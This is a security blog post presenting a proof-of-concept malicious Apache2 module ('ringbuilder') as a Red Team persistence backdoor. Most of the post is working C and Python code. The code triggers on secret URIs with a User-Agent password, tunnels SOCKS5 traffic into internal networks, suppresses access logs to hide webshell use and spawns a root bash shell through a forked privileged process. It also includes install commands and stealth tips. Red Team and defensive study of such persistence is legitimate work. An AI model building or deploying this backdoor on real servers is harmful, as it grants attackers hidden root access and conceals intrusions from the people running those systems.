Typewritter
Return to blog

Backdoors in XAMP stack (part III): Apache Modules

This third fascicle of the series about backdoors for web servers based on the XAMP stack (Apache2, MySQL, PHP), will focus on the development of modules for Apache2 in the context of a Red Team operation . The use of modules and plugins for web servers as a method of persistence is an old and well-known tactic (example: Linux / Cdorked.A 2013 ) that is still being used today.

The group OilRig recently used a malicious module for IIS  as backdoor in different web servers in the Middle East (RGDoor). That is why, depending on the maturity level of the client, it is a persistence method to consider for the TTPs used during a Red Team operation.

In this article we will explore the creation of an Apache module as proof of concept. The module will implement:

– A proxy socks5 to tunnel traffic from the outside to the internal network.
– Hiding HTTP logs.
– Execution of commands through a shell (root user).

All the code of the PoC will be uploaded to the repository at https://github.com/TarlogicSecurity/mod_ringbuilder .

Introduction to Apache modules

Using Apache modules you can add and integrate new functionalities to a web server. Some examples of legitimate modules that can be found in a typical installation are mod_ssl, mod_php, etc. In this case, the module to develop will serve as a basic persistence to retake access to a compromised network, and as a tool during the intrusion.

When creating a module, Apache provides a series of hooks that allow defining code that will be executed in the different phases of the process. In this case we are interested in the following 3 hooks:

– ap_hook_post_config. It is executed immediately after pairing the configuration and before the process reduces its privileges going from root to www-data (or similar).
– ap_hook_post_read_request. It executes the code after accepting the request and allows reading and / or modifying the content of it. Non-privileged user (www-data or similar).
– ap_hook_log_transaction. Code that is executed when a request log is saved.

The hook “post_config” will be used to host the code that will perform tasks requiring a privileged user. In the proof of concept that occupies this article, this hook will be used to obtain a shell with the root user. The next hook, “post_read_request”, will be responsible for parsing HTTP requests and locating if any action is requested to the backdoor. The last hook ,”log_transaction”, will be the one used to prevent specific HTTP requests from being logged.

A minimum skeleton for the PoC would be the following:

static void ringbuilder_register_hooks(apr_pool_t *p){
  ap_hook_post_read_request((void *) ringbuilder_post_read_request, NULL, NULL, APR_HOOK_FIRST);
  ap_hook_post_config((void *) ringbuilder_post_config, NULL, NULL, APR_HOOK_FIRST);
  ap_hook_log_transaction(ringbuilder_log_transaction, NULL, NULL, APR_HOOK_FIRST);
}

module AP_MODULE_DECLARE_DATA ringbuilder_module = {
    STANDARD20_MODULE_STUFF,
    NULL,     /* create per-dir    config structures */
    NULL,     /* merge  per-dir    config structures */
    NULL,     /* create per-server config structures */
    NULL,     /* merge  per-server config structures */
    NULL,     /* table of config file commands       */
    ringbuilder_register_hooks  /* register hooks    */
};

It declares the information of the module (baptized as “ringbuilder”), and indicates the function in charge of performing the hooks registration (ringbuilder_register_hooks). When analyzing this function, we observe how it associates a proper function with a specific hook. The constant APR_HOOK_FIRST is used to indicate the priority order for the execution of the hook (Apache classifies the execution order of the loaded modules between the categories FIRST, MIDDLE and LAST), thus allowing this hook to be invoked before others in the queue.

The modules will be compiled and installed in this article using the apxs utility:

sudo apxs -i -a -c mod_ringbuilder.c && sudo service apache2 restart

The module is compiled through APXS, then the .so generated in the Apache modules folder is copied and the configuration file is modified to load it, adding the following line (apxs does it automatically, it is not necessary to perform this task, in a compromised server must be done manually):

LoadModule ringbuilder_module /usr/lib/apache2/modules/mod_ringbuilder.so

Communicating with the backdoor

The communication with the backdoor will be made using the HTTP protocol itself in the first instance. To trigger a concrete action in a ringbuilder, for example, you can use the URI present in an HTTP request. Each action must be mapped with a different URI, in this case the following actions will be used:

#define SOCKSWORD "/w41t1ngR00M" //Fugazi
#define PINGWORD "/h0p3" //Descendents
#define SHELLWORD "/s4L4dD4ys" //Minor Threat

The URI in the HTTP request can be extracted from the “uri” field of the request_rec structure , constructing something similar to the following in the function associated with the hook “post_read_request”:

static int ringbuilder_post_read_request(request_rec *r) {
  if (!strcmp(r->uri, SOCKSWORD)) {
      ...
  }

  if (!strcmp(r->uri, PINGWORD)) {
      ...
  }

  if (!strcmp(r->uri, SHELLWORD)) {
      ...
  }
  return DECLINED;
}

The return value of the function, in case the supplied URI does not match with any of the expected ones, is the constant DECLINED. With this return value, Apache notices that it is not interested in managing this request, and continues its processing through the following modules in the stack. This way the operation is not interrupted in any way, and the backdoor goes unnoticed (at behavior level).

However, in addition to using infrequent text strings to avoid collisions with legitimate HTTP requests, it is necessary to protect the backdoor with some kind of simple authentication such as a password. The ideal could be to use a common header (the User-Agent, for example), and check if a certain text string that acts as a password is in it. In this PoC a striking text string is used, but in a real operation, it would be better to use slight variation of a real User-Agent so that it goes unnoticed.

...
#define PASSWORD "1w4NN4b3Y0uRd0g" //Iggy Pop & The Stooges
...
static int ringbuilder_post_read_request(request_rec *r) {
  const apr_array_header_t *fields;
  apr_table_entry_t *e = 0;
  int i = 0;
  int backdoor = 0;

  fields = apr_table_elts(r->headers_in);
  e = (apr_table_entry_t *) fields->elts;
  for(i = 0; i < fields->nelts; i++) {
    if (!strcmp(e[i].key,"User-Agent")) {
      if (!strcmp(e[i].val, PASSWORD)) {
        backdoor = 1;
      }
    }
  }

  if (backdoor == 0) {
    return DECLINED;
  }

  ...
}

In this code fragment, all the headers present in the HTTP request are checked to see if the “User-Agent” header exists, and if so, its value is compared to the password we have defined. If not, the function returns the constant DECLINED and does not continue.

While this first HTTP request acts as a trigger for the backdoor, the rest of the communication will be performed by reusing the socket itself. This is tremendously interesting as it reduces the number of connections needed. On the other hand, it is not a viable method when the web server is behind a reverse proxy or a balancer; in these cases, it will be necessary to embed the communication within the HTTP protocol, using the body of POST requests to send the data to the backdoor and receive data from it through the content of the server responses (same mechanics that would be followed by a webshell, for example).

 ...
typedef struct sock_userdata_t sock_userdata_t;

typedef struct apr_socket_t {
    apr_pool_t *cntxt;
    int socketdes;
    int type;
    int protocol;
    apr_sockaddr_t *local_addr;
    apr_sockaddr_t *remote_addr;
    apr_interval_time_t timeout;
    int local_port_unknown;
    int local_interface_unknown;
    int remote_addr_unknown;
    apr_int32_t netmask;
    apr_int32_t inherit;
    sock_userdata_t *userdata;
} apr_socket_t;
...
static int ringbuilder_post_read_request(request_rec *r) {
  ...
  int fd;
  apr_socket_t *client_socket;
  extern module core_module;
  ...
  client_socket = ap_get_module_config(r->connection->conn_config, &core_module);
  if (client_socket) {
    fd = client_socket->socketdes; // Socket
  }
  ...
}

From this moment you can perform reads / writes over `fd` to communicate the client with the backdoor. What is written will be sent by the socket to the client, while the backdoor can obtain data from the client by reading it. As an example of this communication, the simplest function is shown: answer a PING request with a PONG to know that the server is still infected.

if (!strcmp(r->uri, PINGWORD)) {
  write(fd, "Alive!", strlen("Alive!"));
  exit(0);
}

When using an exit(), instead of returning DECLINED as done previously, it is possible to avoid the process continuing and reaching the point of logging the request.

For the client that will interact with the backdoor, a small python script can be used, whose skeleton is similar to:

def connector(endpoint):
  ringbuilder = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  try:
    ringbuilder.connect((args.host, int(args.port)))
  except socket.error as err:
    if err.args[0] in (EINPROGRESS, EWOULDBLOCK):
      pass
    else:
      print "t[!] Error: could not connect to ringbuilder. Host or port wrong?"
      print err
      return
  ringbuilder.send("GET " + endpoint + " HTTP/1.1rnHost: " + args.host + "rnUser-Agent: " + args.passwd + "rnrn")
  return ringbuilder

def ping():
         ringbuilder = connector("/h0p3")
         if (ringbuilder.recv(1024) == "Alive!"):
                 print "[+] RingBuilder is installed"
         else:
                 print "[-] RingBuilder is NOT installed"


parser = argparse.ArgumentParser(description='RingBuilder Client.')
parser.add_argument('--host', dest='host', help='RingBuilder Endpoint Host')
parser.add_argument('--port', dest='port', help='RingBuilder Endpoint Port')
parser.add_argument('--password', dest='passwd', help='RingBuilder Password')
parser.add_argument('--ping', dest='ping', action='store_true', help='Check if backdoor still alive')
args = parser.parse_args()


if __name__ == '__main__':

  if not args.host or not args.port or not args.passwd:
    print "[!] Error: please provide a valid endpoint and password (use -h to check syntax)"
    exit(-1)

  if args.ping:
      ping()

 

Comprobando que el módulo Apache se encuentra instalado

Apache module alive

The rest of the proof of concept will be built from these code skeletons.

Tunneling traffic

The first desirable functionality for the Apache module in a Red Team operation, is the possibility of functioning as a pivoting point from which to tunnel traffic towards the internal networks of the client. The simplest method to achieve this purpose is to implement a proxy socks5 in the module, and use local proxychains to forward the traffic of the tools towards the desired assets. In order to avoid the reinvention of the wheel you can use some previous implementation of Socks5, for example this https://github.com/fgssfgss/socks_proxy where you only have to adapt the code of the function `app_thread_process` onwards, leaving something like:

...//Check github repo to see all code
void *worker(int fd) {
  int inet_fd = -1;
  int command = 0;
  unsigned short int p = 0;

  socks5_invitation(fd);
  socks5_auth(fd);
  command = socks5_command(fd);
  if (command == IP) {
    char *ip = NULL;
    ip = socks5_ip_read(fd);
    p = socks5_read_port(fd);
    inet_fd = app_connect(IP, (void *)ip, ntohs(p), fd);
    if (inet_fd == -1) {
      exit(0);
    }
    socks5_ip_send_response(fd, ip, p);
    free(ip);
    } 

  app_socket_pipe(inet_fd, fd);
  close(inet_fd);
  exit(0);
}

static int ringbuilder_post_read_request(request_rec *r) {
  int fd;
  apr_socket_t *client_socket;
  extern module core_module;

  const apr_array_header_t *fields;
  int i = 0;
  apr_table_entry_t *e = 0;
  int backdoor = 0;
  
  fields = apr_table_elts(r->headers_in);
  e = (apr_table_entry_t *) fields->elts;
  for(i = 0; i < fields->nelts; i++) {
    if (!strcmp(e[i].key,"User-Agent")) {
      if (!strcmp(e[i].val, PASSWORD)) {
        backdoor = 1;
      }
    }
  }
  
  if (backdoor == 0) {
    return DECLINED;
  }

  client_socket = ap_get_module_config(r->connection->conn_config, &core_module);
  if (client_socket) {
    fd = client_socket->socketdes;
  }
  ...
  if (!strcmp(r->uri, SOCKSWORD)) {
    worker(fd);
    exit(0);
  }
  ...
return DECLINED
}

This way the client should send an HTTP request whose URI is the one defined in SOCKSWORD (in this case, “/w41t1ngR00M”) and reuse the socket to communicate proxychains with ringbuilder. In order to make the connection between both, a small functionality that acts as a “bridge” can be added to the script. This “bridge” would be responsible for establishing a listening socket in a local port (which would be configurable in proxychains), and another socket connected to Ringbuilder, making a relay between both.

def worker(afference, addr):
  print "t[*] New Connection!"
  print "t[*] Trying to reach RingBuilder..."
  ringbuilder = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  ringbuilder.setblocking(0)
  try:
    ringbuilder.connect((args.host, int(args.port)))
  except socket.error as err:
    if err.args[0] in (EINPROGRESS, EWOULDBLOCK):
      pass
    else:
      print "t[!] Error: could not connect to ringbuilder. Host or port wrong?"
      print err
      return
  if args.debug:
    print "t[+] Connected to RingBuilder!"
        if args.socks5:
                path = "/w41t1ngR00M"

  ringbuilder.send("GET " + path + " HTTP/1.1rnHost: " + args.host + "rn" + "User-Agent: " + args.passwd + "rnrn")
  afference.setblocking(0)
  while True:
    readable, writable, errfds = select.select([afference, ringbuilder], [], [], 60)
    for sock in readable:
      if sock is afference:
        message = afference.recv(2048)
        if len(message) == 0:
          print "t[x] Service disconnected!"
          return
        if args.debug:
          print "tt--> Service"
          print message.encode("hex")
        ringbuilder.sendall(message)
      if sock is ringbuilder:
        data = ringbuilder.recv(2048)
        if len(data) == 0:
          print "t[x] RingBuilder disconnected!"
          return
        if args.debug:
          print "tt<-- RingBuilder"
          print data.encode("hex")
        afference.sendall(data)

def relay():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        if args.socks5:
            point = int(args.socks5)

        s.bind(("0.0.0.0",point))
    except Exception as err:
        print "[!] Error: could not bind to port"
  print err
        exit(0)

    s.listen(10)
    while True:
        clientsock, addr = s.accept()
        thread.start_new_thread(worker, (clientsock, addr))

def ping():
         ringbuilder = connector("/h0p3")
         if (ringbuilder.recv(1024) == "Alive!"):
                 print "[+] RingBuilder is installed"
         else:
                 print "[-] RingBuilder is NOT installed"


parser = argparse.ArgumentParser(description='RingBuilder Client.')
parser.add_argument('--host', dest='host', help='RingBuilder Endpoint Host')
parser.add_argument('--port', dest='port', help='RingBuilder Endpoint Port')
parser.add_argument('--password', dest='passwd', help='RingBuilder Password')
parser.add_argument('--socks5', dest='socks5', help='Set port for proxychains')
parser.add_argument('--debug', dest='debug', action='store_true', help='Enable debug mode')
parser.add_argument('--ping', dest='ping', action='store_true', help='Check if backdoor still alive')
args = parser.parse_args()


if __name__ == '__main__':

  if not args.host or not args.port or not args.passwd:
    print "[!] Error: please provide a valid endpoint and password (use -h to check syntax)"
    exit(-1)
  if args.socks5:
    print "[+] Starting local server for incoming connections at port " + args.socks5
    relay()
  if args.ping:
      ping()

Proxychains are configured to use any port (/etc/proxychains.conf). This way, for example, it is possible to launch a curl from the outside that will reach the ringbuilder, and from it to an objective of the internal network of the client:

 

Modulo apache con Socks5 funcionando

Apache module with socks5 working

Avoiding logs

Another possible use of this Apache module can be, for example, hiding those activities that are carried out on the web server. If the backdoor is deployed as a persistence mechanism, the ideal is to take advantage of its more passive features (ie, not use it directly as a proxy or to execute commands), such as hiding traces of the activity. If webshells or other web utilities are deployed on that server and you do not want their use to be reflected in the access.log, it is possible to use a hook that executes an exit(0) before inserting the log line if the User-Agent corresponds to our password.

...
static int ringbuilder_log_transaction(request_rec *r) {
  const apr_array_header_t *fields;
    int i;
    apr_table_entry_t *e = 0;

  int backdoor = 0;
  
  fields = apr_table_elts(r->headers_in);
  e = (apr_table_entry_t *) fields->elts;
  for(i = 0; i < fields->nelts; i++) {
    if (!strcmp(e[i].key,"User-Agent")) {
      if (!strcmp(e[i].val, PASSWORD)) {
        backdoor = 1; //Exit() Could be here, but maybe we want to do other things like spoofing
      }
    }
  }
  
  if (backdoor == 0) {
    return DECLINED;
  }
  exit(0);
}
...

This way, when interacting with the web server, you must use a proxy (burp, for example) to replace the User-Agent with the one used as a password.

 

Shell as root

The last feature that this backdoor in the form of an Apache module will have, is that of executing commands as a privileged user. As mentioned at the beginning of this article, to execute code as a privileged user the “post_config” hook can be used, since it is invoked before transferring the process of the root user to www-data (or equivalent). The only obstacle that must be overcomed with this approach, is the fact that this hook is only executed when loading the process configuration, and not every time the server processes a new request. One possible approach (and it will be used in this proof of concept) is to use the hook “post_config” to fork the process: the father continues its natural execution flow (it becomes www-data and processes the requests), while the son (which continues to belong to root) enters a loop waiting for orders received through some IPC.

The IPC chosen to carry out the communication between processes is going to be a UNIX socket because of its simplicity. The “child” process that is still running as root is going to be bound to the UNIX socket and listening for new connections. When a new HTTP request arrives, whose URI corresponds to the word that will trigger the “give me shell” action, it will connect to the socket and send a specific word (for example “SHELL”). When detecting this word, the child process (“root”) will be forked and will execute a /bin/bash where the STDIN, STDOUT and STDERR are associated to the socket of the new connection.

...
#define IPC "/tmp/mod_ringbuilder"
...
ringbuilder_post_config(apr_pool_t *pconf, apr_pool_t *plog, apr_pool_t *ptemp, server_rec *s) {
  pid = fork();

  if (pid) {
    return OK;
  }
  
  int master, i, rc, max_clients = 30, clients[30], new_client, max_sd, sd;
  struct sockaddr_un serveraddr;
  char buf[1024];
  fd_set readfds;

  for (i = 0; i < max_clients; i++) {
    clients[i] = 0;
  }

  master = socket(AF_UNIX, SOCK_STREAM, 0);
  if (sd < 0) {
    exit(0);
  }
  memset(&serveraddr, 0, sizeof(serveraddr));
  serveraddr.sun_family = AF_UNIX;
  strcpy(serveraddr.sun_path, IPC);
  rc = bind(master, (struct sockaddr *)&serveraddr, SUN_LEN(&serveraddr));
  if (rc < 0) {
    exit(0);
  }
  listen(master, 5);
  chmod(serveraddr.sun_path, 0777);
  while(1) {
    FD_ZERO(&readfds);
    FD_SET(master, &readfds);
    max_sd = master;

    for (i = 0; i < max_clients; i++) { sd = clients[i]; if (sd > 0) {
        FD_SET(sd, &readfds);
      }
      if (sd > max_sd) {
        max_sd = sd;
      }
    }
    select (max_sd +1, &readfds, NULL, NULL, NULL);
    if (FD_ISSET(master, &readfds)) {
      new_client = accept(master, NULL, NULL);
      for (i = 0; i < max_clients; i++) {
        if (clients[i] == 0) {
          clients[i] = new_client;
          break;
        }
      }
    }

    for (i = 0; i < max_clients; i++) {
      sd = clients[i];
      if (FD_ISSET(sd, &readfds)) {
        memset(buf, 0, 1024);
        if ((rc = read(sd, buf, 1024)) <= 0) {
          close(sd);
          clients[i] = 0;
        }
        else  {
          if (strstr(buf, "SHELL")){
            shell(sd);
          }
        }
      } 
    }
  }
}

On the other hand:

static int ringbuilder_post_read_request(request_rec *r) {
  ...
if (!strcmp(r->uri, SHELLWORD)) {
    if (pid) {
      char buf[1024];
      int sd[2], i;

      sock = socket(AF_UNIX, SOCK_STREAM, 0);
      if (sock < 0) {
        write(fd, "ERRNOSOCKn", strlen("ERRNOSOCKn") + 1);
        exit(0);
      }
      server.sun_family = AF_UNIX;
      strcpy(server.sun_path, IPC);
      if (connect(sock, (struct sockaddr *) &server, sizeof(struct sockaddr_un)) < 0){
        close(sock);
        write(fd, "ERRNOCONNECTn", strlen("ERRNOCONNECTn") + 1);
        exit(0);
      }
      write(sock, "SHELLn", strlen("SHELLn") + 1);
      write(fd, "[+] Shell Moden", strlen("[+] Shell Moden") +1);
      sd[0] = sock;
      sd[1] = fd;

      while (1){
        for(i = 0; i < 2; i++) {
          tv.tv_sec = 2;
          tv.tv_usec = 0;
          FD_ZERO(&readset);
          FD_SET(sd[i], &readset);
          sr = select(sock + 1, &readset, NULL, NULL, &tv);
          if (sr) {
            if (FD_ISSET(sd[i], &readset)) {
              memset(buf, 0, 1024);
              n = read(sd[i], buf, 1024);
              if (i == 0) {
                if (n <= 0) { write(fd, "ERRIPCn", strlen("ERRIPCn") + 1); exit(0); } write(fd, buf, strlen(buf) + 1); } else { if (n > 0) {
                  write(sock, buf, strlen(buf) + 1);
                }
                else {
                  exit(0);
                }
              }
            }
          }
        }
      }
      exit(0);
    }
  } 

  return DECLINED;
}
Ejecución de comandos en el servidor como root

Commands executed as root

Being a proof of concept, a shell without pseudo-terminal has been implemented. In case you want to execute commands in a shell with a TTY, you can use forkpty() in the same way that was explained in the article on how to obtain an interactive shell through Bluetooth.

Conclusions

When a user raises privileges on a compromised server, the variety of ways through which he can maintain persistence in it is huge. During the interactions between Blue and Red Team, according to the level of maturity, it is important to gradually include different TTPs that allow to simulate the different scenarios that can be found in a real intrusion.

The complete proof of concept code is uploaded at https://github.com/TarlogicSecurity/mod_ringbuilder .

Leave a comment